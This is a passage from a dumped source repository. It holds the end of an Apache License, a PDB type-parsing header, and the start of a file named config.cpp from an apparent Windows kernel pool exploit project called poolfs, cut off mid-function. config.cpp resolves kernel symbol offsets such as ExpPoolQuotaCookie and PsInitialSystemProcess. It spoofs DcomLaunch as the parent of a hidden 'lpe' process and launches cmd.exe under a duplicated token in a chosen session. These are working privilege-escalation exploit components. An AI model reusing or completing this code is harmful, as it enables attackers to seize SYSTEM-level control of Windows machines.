modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /poolfs/poolfs/src/pdb_types.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file include/pdb_types.h 3 | * @brief Types 4 | * @copyright (c) 2017 Avast Software, licensed under the MIT license 5 | */ 6 | 7 | #ifndef RETDEC_PDBPARSER_PDB_TYPES_H 8 | #define RETDEC_PDBPARSER_PDB_TYPES_H 9 | 10 | #include 11 | 12 | #include "pdb_info.h" 13 | #include "pdb_utils.h" 14 | 15 | namespace retdec { 16 | namespace pdbparser { 17 | 18 | // PDB type definition 19 | class PDBTypeDef; 20 | // PDB type definition map (key is type index) 21 | typedef std::map PDBTypeDefIndexMap; 22 | // PDB type definition map - for fully defined types (key is type name) 23 | typedef std::map PDBTypeDefNameMap; 24 | 25 | // ================================================================= 26 | // PDB TYPE FIELD STRUCTURES 27 | // ================================================================= 28 | 29 | // Field type 30 | enum ePDBFieldType 31 | { 32 | PDBFIELD_ENUMERATE, PDBFIELD_MEMBER 33 | }; 34 | 35 | // Enum member 36 | typedef struct _PDBTypeFieldEnumerate 37 | { 38 | int value; 39 | char * name; 40 | } PDBTypeFieldEnumerate; 41 | 42 | // Struct or union member 43 | typedef struct _PDBTypeFieldMember 44 | { 45 | int offset; 46 | int type_index; 47 | PDBTypeDef * type_def; 48 | char * name; 49 | } PDBTypeFieldMember; 50 | 51 | // General type field 52 | typedef struct _PDBTypeField 53 | { 54 | ePDBFieldType field_type; 55 | union 56 | { 57 | PDBTypeFieldEnumerate Enumerate; 58 | PDBTypeFieldMember Member; 59 | }; 60 | } PDBTypeField; 61 | 62 | // ================================================================= 63 | // PDB TYPE CLASSES 64 | // ================================================================= 65 | 66 | // Type class 67 | enum ePDBTypeClass 68 | { 69 | PDBTYPE_BASE, PDBTYPE_FIELDLIST, // Auxiliary only 70 | PDBTYPE_ENUM, 71 | PDBTYPE_ARRAY, 72 | PDBTYPE_POINTER, 73 | PDBTYPE_CONST, 74 | PDBTYPE_ARGLIST, // Auxiliary only 75 | PDBTYPE_FUNCTION, 76 | PDBTYPE_STRUCT, 77 | PDBTYPE_UNION, 78 | PDBTYPE_CLASS 79 | }; 80 | 81 | // Type definition (base class) 82 | // Class fully defined here 83 | class PDBTypeDef 84 | { 85 | // Constructor and destructor 86 | protected: 87 | PDBTypeDef(int ind, ePDBTypeClass c, int bts = 0) : 88 | type_index(ind), type_class(c), size_bytes(bts) 89 | { 90 | } 91 | ; 92 | public: 93 | virtual ~PDBTypeDef(void) 94 | { 95 | } 96 | ; 97 | 98 | // Basic methods - parse and dump 99 | // matula, this triggers clang warning, since 'parse' methods in child classes have different signature. 100 | virtual void dump(bool nested = false) 101 | { 102 | if (!nested) 103 | printf("/* %04x (%d bytes) */\n", type_index, size_bytes); 104 | } 105 | ; 106 | virtual bool is_fully_defined(void) 107 | { 108 | return false; 109 | } 110 | ; 111 | virtual std::string to_llvm(void) 112 | { 113 | return get_default_llvm(); 114 | } 115 | ; 116 | virtual std::string to_llvm_identified(void) 117 | { 118 | return to_llvm(); 119 | } 120 | ; 121 | std::string get_default_llvm(void) 122 | { 123 | return "i32"; 124 | } 125 | ; 126 | 127 | // Basic members 128 | int type_index; 129 | ePDBTypeClass type_class; 130 | int size_bytes; 131 | }; 132 | 133 | enum ePDBBaseType 134 | { 135 | PDBBASETYPE_VOID, 136 | PDBBASETYPE_BOOL, 137 | PDBBASETYPE_INT_SIGNED, 138 | PDBBASETYPE_INT_UNSIGNED, 139 | PDBBASETYPE_FLOAT, 140 | PDBBASETYPE_HRESULT, 141 | PDBBASETYPE_VARIADIC 142 | }; 143 | 144 | // Base type 145 | class PDBTypeBase : public PDBTypeDef 146 | { 147 | public: 148 | // Constructor and destructor 149 | PDBTypeBase(int ind, ePDBBaseType t, bool ptr, int bits, const char * desc) : 150 | PDBTypeDef(ind, PDBTYPE_BASE, (ptr) ? 4 : bits / 8), base_type(t), is_pointer(ptr), size_bits(bits), description( 151 | desc) 152 | { 153 | } 154 | ; 155 | virtual ~PDBTypeBase(void) 156 | { 157 | } 158 | ; 159 | 160 | // Basic methods - parse and dump 161 | virtual void parse(lfRecord *, int, PDBTypeDefIndexMap &) 162 | { 163 | } 164 | ; 165 | virtual void dump(bool nested = false); 166 | virtual bool is_fully_defined(void) 167 | { 168 | return true; 169 | } 170 | ; 171 | virtual std::string to_llvm(void); 172 | virtual std::string to_llvm_identified(void) 173 | { 174 | return to_llvm(); 175 | } 176 | ; 177 | 178 | // Type-specific members 179 | ePDBBaseType base_type; // Base type (void, int, float...) 180 | bool is_pointer; // Is pointer? 181 | int size_bits; // Number of bits 182 | const char * description; // Textual description 183 | }; 184 | 185 | // Field list (auxiliary type only!!!) 186 | class PDBTypeFieldList : public PDBTypeDef 187 | { 188 | public: 189 | // Constructor and destructor 190 | PDBTypeFieldList(int ind) : 191 | PDBTypeDef(ind, PDBTYPE_FIELDLIST) 192 | { 193 | } 194 | ; 195 | virtual ~PDBTypeFieldList(void) 196 | { 197 | } 198 | ; 199 | 200 | // Basic methods - parse and dump 201 | virtual void parse(lfFieldList *record, int size, PDBTypeDefIndexMap &types); 202 | virtual void dump(bool nested = false); 203 | virtual bool is_fully_defined(void) 204 | { 205 | return false; 206 | } 207 | ; 208 | virtual std::string to_llvm(void) 209 | { 210 | return get_default_llvm(); 211 | } 212 | ; 213 | virtual std::string to_llvm_identified(void) 214 | { 215 | return to_llvm(); 216 | } 217 | ; 218 | 219 | // Type-specific members 220 | std::vector fields; // Fields 221 | }; 222 | 223 | // Enum 224 | class PDBTypeEnum : public PDBTypeDef 225 | { 226 | public: 227 | // Constructor and destructor 228 | PDBTypeEnum(int ind) : 229 | PDBTypeDef(ind, PDBTYPE_ENUM), enum_count(0), enum_members(nullptr), enum_name(nullptr) 230 | { 231 | } 232 | ; 233 | virtual ~PDBTypeEnum(void) 234 | { 235 | if (enum_members != nullptr) 236 | delete[] enum_members; 237 | } 238 | ; 239 | 240 | // Basic methods - parse and dump 241 | virtual void parse(lfEnum *record, int size, PDBTypeDefIndexMap &types); 242 | virtual void dump(bool nested = false); 243 | virtual bool is_fully_defined(void) 244 | { 245 | return enum_members != nullptr; 246 | } 247 | ; 248 | virtual std::string to_llvm(void); 249 | virtual std::string to_llvm_identified(void) 250 | { 251 | return to_llvm(); 252 | } 253 | ; 254 | 255 | // Type-specific members 256 | unsigned int enum_count; // Number of members 257 | PDBTypeFieldEnumerate ** enum_members; // Members 258 | char * enum_name; // Enum name 259 | }; 260 | 261 | // Array 262 | class PDBTypeArray : public PDBTypeDef 263 | { 264 | public: 265 | // Constructor and destructor 266 | PDBTypeArray(int ind) : 267 | PDBTypeDef(ind, PDBTYPE_ARRAY), array_elemtype_index(0), array_elemtype_def(nullptr), array_idxtype_index( 268 | 0), array_idxtype_def(nullptr), array_count(0) 269 | { 270 | } 271 | ; 272 | virtual ~PDBTypeArray(void) 273 | { 274 | } 275 | ; 276 | 277 | // Basic methods - parse and dump 278 | virtual void parse(lfArray *record, int size, PDBTypeDefIndexMap &types); 279 | virtual void dump(bool nested = false); 280 | virtual bool is_fully_defined(void) 281 | { 282 | return true; 283 | } 284 | ; 285 | virtual std::string to_llvm(void); 286 | virtual std::string to_llvm_identified(void) 287 | { 288 | return to_llvm(); 289 | } 290 | ; 291 | 292 | // Type-specific members 293 | int array_elemtype_index; // Element type index 294 | PDBTypeDef * array_elemtype_def; // Element type definition 295 | int array_idxtype_index; // Indexing type index 296 | PDBTypeDef * array_idxtype_def; // Indexing type definition 297 | int array_count; // Number of elements 298 | }; 299 | 300 | // Pointer 301 | class PDBTypePointer : public PDBTypeDef 302 | { 303 | public: 304 | // Constructor and destructor 305 | PDBTypePointer(int ind) : 306 | PDBTypeDef(ind, PDBTYPE_POINTER), ptr_utype_index(0), ptr_utype_def(nullptr) 307 | { 308 | } 309 | ; 310 | virtual ~PDBTypePointer(void) 311 | { 312 | } 313 | ; 314 | 315 | // Basic methods - parse and dump 316 | virtual void parse(lfPointer *record, int size, PDBTypeDefIndexMap &types); 317 | virtual void dump(bool nested = false); 318 | virtual bool is_fully_defined(void) 319 | { 320 | return true; 321 | } 322 | ; 323 | virtual std::string to_llvm(void); 324 | virtual std::string to_llvm_identified(void) 325 | { 326 | return to_llvm(); 327 | } 328 | ; 329 | 330 | // Type-specific members 331 | int ptr_utype_index; // Underlying type index 332 | PDBTypeDef * ptr_utype_def; // Underlying type definition 333 | }; 334 | 335 | // Constant 336 | class PDBTypeConst : public PDBTypeDef 337 | { 338 | public: 339 | // Constructor and destructor 340 | PDBTypeConst(int ind) : 341 | PDBTypeDef(ind, PDBTYPE_CONST), const_utype_index(0), const_utype_def(nullptr) 342 | { 343 | } 344 | ; 345 | virtual ~PDBTypeConst(void) 346 | { 347 | } 348 | ; 349 | 350 | // Basic methods - parse and dump 351 | virtual void parse(lfModifier *record, int, PDBTypeDefIndexMap &types); 352 | virtual void dump(bool nested = false); 353 | virtual bool is_fully_defined(void) 354 | { 355 | return true; 356 | } 357 | ; 358 | virtual std::string to_llvm(void); 359 | virtual std::string to_llvm_identified(void) 360 | { 361 | return to_llvm(); 362 | } 363 | ; 364 | 365 | // Type-specific members 366 | int const_utype_index; // Underlying type index 367 | PDBTypeDef * const_utype_def; // Underlying type definition 368 | }; 369 | 370 | // Argument list (auxiliary type only!!!) 371 | // Class fully defined here 372 | class PDBTypeArglist : public PDBTypeDef 373 | { 374 | public: 375 | // Constructor and destructor 376 | PDBTypeArglist(int ind) : 377 | PDBTypeDef(ind, PDBTYPE_ARGLIST), arglist(nullptr) 378 | { 379 | } 380 | ; 381 | virtual ~PDBTypeArglist(void) 382 | { 383 | } 384 | ; 385 | 386 | // Basic methods - parse and dump 387 | virtual void parse(lfArgList *record, int, PDBTypeDefIndexMap &) 388 | { 389 | arglist = record; 390 | } 391 | ; 392 | virtual void dump(bool nested = false) 393 | { 394 | PDBTypeDef::dump(nested); 395 | if (!nested) 396 | printf("/* Argument list */\n"); 397 | } 398 | ; 399 | virtual bool is_fully_defined(void) 400 | { 401 | return false; 402 | } 403 | ; 404 | virtual std::string to_llvm(void) 405 | { 406 | return "..."; 407 | } 408 | ; 409 | virtual std::string to_llvm_identified(void) 410 | { 411 | return to_llvm(); 412 | } 413 | ; 414 | 415 | // Type-specific members 416 | lfArgList * arglist; // Argument list record 417 | }; 418 | 419 | // Function argument 420 | typedef struct _PDBTypeFuncArg 421 | { 422 | int type_index; 423 | PDBTypeDef * type_def; 424 | } PDBTypeFuncArg; 425 | 426 | // Function declaration 427 | class PDBTypeFunction : public PDBTypeDef 428 | { 429 | public: 430 | // Constructor and destructor 431 | PDBTypeFunction(int ind) : 432 | PDBTypeDef(ind, PDBTYPE_FUNCTION), func_rettype_index(0), func_rettype_def(nullptr), func_calltype(0), func_args_count( 433 | 0), func_args(nullptr), func_is_variadic(false), func_is_clsmember(false), func_clstype_index(0), func_clstype_def( 434 | nullptr), func_thistype_index(0), func_thistype_def(nullptr) 435 | { 436 | } 437 | ; 438 | virtual ~PDBTypeFunction(void) 439 | { 440 | if (func_args != nullptr) 441 | delete[] func_args; 442 | } 443 | ; 444 | 445 | // Basic methods - parse and dump 446 | virtual void parse(lfProc *record, int size, PDBTypeDefIndexMap &types); 447 | void parse_mfunc(lfMFunc *record, int size, PDBTypeDefIndexMap &types); 448 | virtual void dump(bool nested = false); 449 | virtual bool is_fully_defined(void) 450 | { 451 | return func_args != nullptr; 452 | } 453 | ; 454 | virtual std::string to_llvm(void); 455 | virtual std::string to_llvm_identified(void) 456 | { 457 | return to_llvm(); 458 | } 459 | ; 460 | 461 | // Type-specific members 462 | int func_rettype_index; // Return value type index 463 | PDBTypeDef * func_rettype_def; // Return value type definition 464 | int func_calltype; // Calling convention 465 | int func_args_count; // Number of arguments 466 | PDBTypeFuncArg * func_args; // Arguments 467 | bool func_is_variadic; // Variadic parameters function 468 | bool func_is_clsmember; // Function is class method 469 | int func_clstype_index; // Parent class type index 470 | PDBTypeDef * func_clstype_def; // Parent class type definition 471 | int func_thistype_index; // This-parameter type index 472 | PDBTypeDef * func_thistype_def; // This-parameter class type definition 473 | }; 474 | 475 | // Struct 476 | class PDBTypeStruct : public PDBTypeDef 477 | { 478 | public: 479 | // Constructor and destructor 480 | PDBTypeStruct(int ind) : 481 | PDBTypeDef(ind, PDBTYPE_STRUCT), struct_count(0) 482 | { 483 | } 484 | ; 485 | virtual ~PDBTypeStruct(void) 486 | { 487 | } 488 | ; 489 | 490 | // Basic methods - parse and dump 491 | virtual void parse(lfStructure *record, int size, PDBTypeDefIndexMap &types); 492 | virtual void dump(bool nested = false); 493 | virtual bool is_fully_defined(void) 494 | { 495 | return struct_count > 0; 496 | } 497 | ; 498 | virtual std::string to_llvm(void); 499 | virtual std::string to_llvm_identified(void); 500 | 501 | // Type-specific members 502 | unsigned int struct_count; // Number of members 503 | std::vector struct_members; // Members 504 | std::string struct_name; // Struct name 505 | }; 506 | 507 | // Union 508 | class PDBTypeUnion : public PDBTypeDef 509 | { 510 | public: 511 | // Constructor and destructor 512 | PDBTypeUnion(int ind) : 513 | PDBTypeDef(ind, PDBTYPE_UNION), union_count(0), union_name(nullptr) 514 | { 515 | } 516 | ; 517 | virtual ~PDBTypeUnion(void) 518 | { 519 | } 520 | ; 521 | 522 | // Basic methods - parse and dump 523 | virtual void parse(lfUnion *record, int size, PDBTypeDefIndexMap &types); 524 | virtual void dump(bool nested = false); 525 | virtual bool is_fully_defined(void) 526 | { 527 | return union_count > 0; 528 | } 529 | ; 530 | virtual std::string to_llvm(void); 531 | virtual std::string to_llvm_identified(void) 532 | { 533 | return to_llvm(); 534 | } 535 | ; 536 | 537 | // Type-specific members 538 | unsigned int union_count; // Number of members 539 | std::vector union_members; // Members 540 | char * union_name; // Union name 541 | }; 542 | 543 | // Class 544 | class PDBTypeClass : public PDBTypeDef 545 | { 546 | public: 547 | // Constructor and destructor 548 | PDBTypeClass(int ind) : 549 | PDBTypeDef(ind, PDBTYPE_CLASS), class_count(0), class_name(nullptr) 550 | { 551 | } 552 | ; 553 | virtual ~PDBTypeClass(void) 554 | { 555 | } 556 | ; 557 | 558 | // Basic methods - parse and dump 559 | virtual void parse(lfClass *record, int size, PDBTypeDefIndexMap &types); 560 | virtual void dump(bool nested = false); 561 | virtual bool is_fully_defined(void) 562 | { 563 | return class_count > 0; 564 | } 565 | ; 566 | virtual std::string to_llvm(void); 567 | virtual std::string to_llvm_identified(void) 568 | { 569 | return to_llvm(); 570 | } 571 | ; 572 | 573 | // Type-specific members 574 | unsigned int class_count; // Number of members 575 | char * class_name; // Class name 576 | //TODO methods, attributes, etc... 577 | }; 578 | 579 | // ================================================================= 580 | // MAIN CLASS PDBTypes 581 | // ================================================================= 582 | 583 | class PDBTypes 584 | { 585 | public: 586 | // Constructor and destructor 587 | PDBTypes(PDBStream *s) : 588 | pdb_tpi_size(s->size), pdb_tpi_data(s->data), parsed(false), tpi_header( 589 | reinterpret_cast(s->data)) 590 | { 591 | } 592 | ; 593 | ~PDBTypes(void); 594 | 595 | // Action methods 596 | void parse_types(void); 597 | 598 | // Getting methods 599 | PDBTypeDef * get_type_by_index(int index) 600 | { 601 | if (!parsed) 602 | return nullptr; 603 | else 604 | return types[index]; 605 | } 606 | ; 607 | PDBTypeDef * get_type_by_name(char *name) 608 | { 609 | if (!parsed) 610 | return nullptr; 611 | else 612 | return types_byname[name]; 613 | } 614 | ; 615 | 616 | // Printing methods 617 | void dump_types(void); 618 | void print_types(void); 619 | void print_types_by_name(const char* name); 620 | int get_types_field_offset(const char* name, const char* field); 621 | public: 622 | // Internal functions 623 | PHDR TPILoadTypeInfo(void); 624 | 625 | // Variables 626 | unsigned int pdb_tpi_size; // size of TPI stream 627 | char * pdb_tpi_data; // data from TPI stream 628 | bool parsed; // types are parsed 629 | 630 | // Data structure pointers 631 | HDR * tpi_header; 632 | 633 | // Data containers 634 | PDBTypeDefIndexMap types; // Map of type definitions (key is type index) 635 | PDBTypeDefIndexMap types_fully_defined; // Map of fully defined types (key is type index) 636 | PDBTypeDefNameMap types_byname; // Map of fully defined types (key is type name) 637 | }; 638 | 639 | } // namespace pdbparser 640 | } // namespace retdec 641 | 642 | #endif 643 | -------------------------------------------------------------------------------- /poolfs/poolfs/src/config.cpp: -------------------------------------------------------------------------------- 1 | 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "exploit.h" 8 | #include "pdb_file.h" 9 | 10 | #define NTBASE 0x400000 11 | #define NPFSBASE 0x400000 12 | 13 | 14 | class SafeScopedHandle 15 | { 16 | HANDLE _h; 17 | public: 18 | SafeScopedHandle() : _h(nullptr) 19 | { 20 | } 21 | 22 | SafeScopedHandle(SafeScopedHandle& h) 23 | { 24 | _h = h._h; 25 | h._h = nullptr; 26 | } 27 | 28 | SafeScopedHandle(SafeScopedHandle&& h) { 29 | _h = h._h; 30 | h._h = nullptr; 31 | } 32 | 33 | ~SafeScopedHandle() 34 | { 35 | if (!invalid()) 36 | { 37 | CloseHandle(_h); 38 | _h = nullptr; 39 | } 40 | } 41 | 42 | bool invalid() { 43 | return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE); 44 | } 45 | 46 | void set(HANDLE h) 47 | { 48 | _h = h; 49 | } 50 | 51 | HANDLE get() 52 | { 53 | return _h; 54 | } 55 | 56 | HANDLE* ptr() 57 | { 58 | return &_h; 59 | } 60 | 61 | 62 | }; 63 | 64 | 65 | bstr_t GetExe() 66 | { 67 | WCHAR curr_path[MAX_PATH] = { 0 }; 68 | GetModuleFileName(nullptr, curr_path, MAX_PATH); 69 | return curr_path; 70 | } 71 | 72 | 73 | HRESULT 74 | GetServiceHandle( 75 | _In_ LPCWSTR ServiceName, 76 | _Out_ PHANDLE ProcessHandle 77 | ) 78 | { 79 | SC_HANDLE hScm, hRpc; 80 | BOOL bRes; 81 | SERVICE_STATUS_PROCESS procInfo; 82 | HRESULT hResult; 83 | DWORD dwBytes; 84 | HANDLE hProc; 85 | 86 | // 87 | // Prepare for cleanup 88 | // 89 | hScm = NULL; 90 | hRpc = NULL; 91 | 92 | // 93 | // Connect to the SCM 94 | // 95 | hScm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); 96 | if (hScm == NULL) 97 | { 98 | hResult = HRESULT_FROM_WIN32(GetLastError()); 99 | printf("[+]OpenScManager failed with error %d\n", hResult); 100 | goto Failure; 101 | } 102 | 103 | // 104 | // Open the service 105 | // 106 | hRpc = OpenService(hScm, ServiceName, SERVICE_QUERY_STATUS); 107 | if (hRpc == NULL) 108 | { 109 | hResult = HRESULT_FROM_WIN32(GetLastError()); 110 | printf("[+]OpenService failed with error %d\n", hResult); 111 | goto Failure; 112 | } 113 | 114 | // 115 | // Query the process information 116 | // 117 | bRes = QueryServiceStatusEx(hRpc, 118 | SC_STATUS_PROCESS_INFO, 119 | (LPBYTE)&procInfo, 120 | sizeof(procInfo), 121 | &dwBytes); 122 | if (bRes == FALSE) 123 | { 124 | hResult = HRESULT_FROM_WIN32(GetLastError()); 125 | printf("[+]QueryServiceStatusEx failed with error %d\n", hResult); 126 | goto Failure; 127 | } 128 | 129 | // 130 | // Open a handle for all access to the PID 131 | // 132 | hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procInfo.dwProcessId); 133 | if (hProc == NULL) 134 | { 135 | hResult = HRESULT_FROM_WIN32(GetLastError()); 136 | printf("[+]OpenProcess failed with error %d\n", hResult); 137 | goto Failure; 138 | } 139 | 140 | // 141 | // Return the PID 142 | // 143 | *ProcessHandle = hProc; 144 | hResult = ERROR_SUCCESS; 145 | 146 | Failure: 147 | // 148 | // Cleanup the handles 149 | // 150 | if (hRpc != NULL) 151 | { 152 | CloseServiceHandle(hRpc); 153 | } 154 | if (hScm != NULL) 155 | { 156 | CloseServiceHandle(hScm); 157 | } 158 | return hResult; 159 | } 160 | 161 | EXTERN_C int SwapProccess() 162 | { 163 | NTSTATUS status; 164 | HANDLE processTokenHandle; 165 | BOOL bRes; 166 | HANDLE parentHandle; 167 | PPROC_THREAD_ATTRIBUTE_LIST procList; 168 | STARTUPINFOEX startupInfoEx; 169 | PROCESS_INFORMATION processInfo; 170 | SIZE_T listSize; 171 | HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); ; 172 | HRESULT result = GetServiceHandle(L"DcomLaunch", &parentHandle); 173 | if (FAILED(result)) 174 | { 175 | printf("[+]Failed to get handle to DcomLaunch service\n"); 176 | return 0; 177 | } 178 | printf("[+]Received handle to DcomLaunch\n"); 179 | 180 | // 181 | // Create a new process with DcomLaunch as a parent 182 | // 183 | procList = NULL; 184 | // 185 | // Figure out the size we need for one attribute (this should always fail) 186 | // 187 | bRes = InitializeProcThreadAttributeList(NULL, 1, 0, &listSize); 188 | if (bRes != FALSE) 189 | { 190 | printf("[+]InitializeProcThreadAttributeList succeeded when it should have failed\n"); 191 | return 0; 192 | } 193 | 194 | // 195 | // Then allocate it 196 | // 197 | procList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 198 | HEAP_ZERO_MEMORY, 199 | listSize); 200 | if (procList == NULL) 201 | { 202 | printf("[+]Failed to allocate memory\n"); 203 | return 0; 204 | } 205 | // 206 | // Re-initialize the list again 207 | // 208 | bRes = InitializeProcThreadAttributeList(procList, 1, 0, &listSize); 209 | if (bRes == FALSE) 210 | { 211 | printf("[+]Failed to initialize procThreadAttributeList\n"); 212 | return 0; 213 | } 214 | // 215 | // Now set the DcomLaunch process as the parent 216 | // 217 | bRes = UpdateProcThreadAttribute(procList, 218 | 0, 219 | PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, 220 | &parentHandle, 221 | sizeof(parentHandle), 222 | NULL, 223 | NULL); 224 | if (bRes == FALSE) 225 | { 226 | printf("[+]Failed to update ProcThreadAttribute"); 227 | return 0; 228 | } 229 | // 230 | // Initialize the startup info structure to say that we want to: 231 | // 232 | // 1) Hide the window 233 | // 2) Use the socket as standard in/out/error 234 | // 3) Use an attribute list 235 | // 236 | // Then, spawn the process, again making sure there's no window, and 237 | // indicating that we have extended attributes. 238 | // 239 | RtlZeroMemory(&startupInfoEx, sizeof(startupInfoEx)); 240 | startupInfoEx.StartupInfo.cb = sizeof(startupInfoEx); 241 | startupInfoEx.StartupInfo.wShowWindow = SW_HIDE; 242 | startupInfoEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | 243 | STARTF_USESTDHANDLES; 244 | startupInfoEx.lpAttributeList = procList; 245 | 246 | DWORD session_id; 247 | ProcessIdToSessionId(GetCurrentProcessId(), &session_id); 248 | WCHAR session_str[16]; 249 | StringCchPrintf(session_str, _countof(session_str), L" lpe %d", session_id); 250 | BSTR cmdPath = GetExe(); 251 | BSTR exePath = GetExe() + session_str; 252 | bRes = CreateProcess(cmdPath, 253 | exePath, 254 | NULL, 255 | NULL, 256 | TRUE, 257 | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, 258 | NULL, 259 | NULL, 260 | &startupInfoEx.StartupInfo, 261 | &processInfo); 262 | if (bRes == FALSE) 263 | { 264 | printf("[+]CreateProcess failed\n"); 265 | return 0; 266 | } 267 | printf("[+]Created new process with ID %d\n", processInfo.dwProcessId); 268 | CloseHandle(processInfo.hThread); 269 | CloseHandle(processInfo.hProcess); 270 | return 0; 271 | } 272 | 273 | EXTERN_C int CreateNewProcess(const wchar_t* session) 274 | { 275 | 276 | 277 | 278 | 279 | //DWORD session_id = WTSGetActiveConsoleSessionId(); 280 | DWORD session_id = wcstoul(session, nullptr, 0); 281 | SafeScopedHandle token; 282 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr())) 283 | { 284 | return (E_FAIL); 285 | } 286 | 287 | SafeScopedHandle new_token; 288 | 289 | if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr())) 290 | { 291 | return (E_FAIL); 292 | } 293 | 294 | SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id)); 295 | 296 | STARTUPINFOW start_info = {}; 297 | start_info.cb = sizeof(start_info); 298 | start_info.lpDesktop = (LPWSTR)L"WinSta0\\Default"; 299 | PROCESS_INFORMATION proc_info; 300 | WCHAR cmdline[] = L"cmd.exe"; 301 | if (CreateProcessAsUserW(new_token.get(), nullptr, cmdline, 302 | nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info)) 303 | { 304 | CloseHandle(proc_info.hProcess); 305 | CloseHandle(proc_info.hThread); 306 | } 307 | //system("pause"); 308 | return 0; 309 | } 310 | 311 | EXTERN_C boolean config(xploit_t* xploit) 312 | { 313 | boolean ret = false; 314 | const wchar_t NTImagePath[] = L"C:\\Windows\\system32\\ntoskrnl.exe"; 315 | const wchar_t NPFSImagePath[] = L"C:\\Windows\\system32\\drivers\\npfs.sys"; 316 | retdec::pdbparser::PDBFile ntoskrnl; 317 | retdec::pdbparser::PDBFile npfs; 318 | const char ExAllocatePoolWithTag[] = "ExAllocatePoolWithTag"; 319 | const char ExAllocatePoolWithQuotaTag[] = "ExAllocatePoolWithQuotaTag"; 320 | const char ExpPoolQuotaCookie[] = "ExpPoolQuotaCookie"; 321 | const char PsInitialSystemProcess[] = "PsInitialSystemProcess"; 322 | const char RtlpHpHeapGlobals[] = "RtlpHpHeapGlobals"; 323 | if (ntoskrnl.load_image_file(NTImagePath) == retdec::pdbparser::PDB_STATE_OK) { 324 | ntoskrnl.initialize(); 325 | //ntoskrnl.print_pdb_file_info(); 326 | retdec::pdbparser::PDBSymbols* pdb_symbols = ntoskrnl.get_symbols_container(); 327 | retdec::pdbparser::PDBTypes* pdb_type = ntoskrnl.get_types_container(); 328 | retdec::pdbparser::PDBFunction* ExAllocatePoolWithTag_Func = pdb_symbols->get_function_by_name(ExAllocatePoolWithTag); 329 | if (ExAllocatePoolWithTag_Func) 330 | { 331 | int ExAllocatePoolWithTag_Offset = ExAllocatePoolWithTag_Func->address - NTBASE; 332 | printf("[+]offset ExAllocatePoolWithTag :=> %lx\r\n", ExAllocatePoolWithTag_Offset); 333 | xploit->nt_allocatepoolwithtag_offset = ExAllocatePoolWithTag_Offset; 334 | } 335 | else 336 | { 337 | xploit->nt_allocatepoolwithtag_offset = NT_ALLOCATEPOOLWITHTAG_OFFSET_DEFAULT; 338 | printf("[+]offset ExAllocatePoolWithTag failed :=> %lx\r\n", xploit->nt_allocatepoolwithtag_offset); 339 | } 340 | 341 | 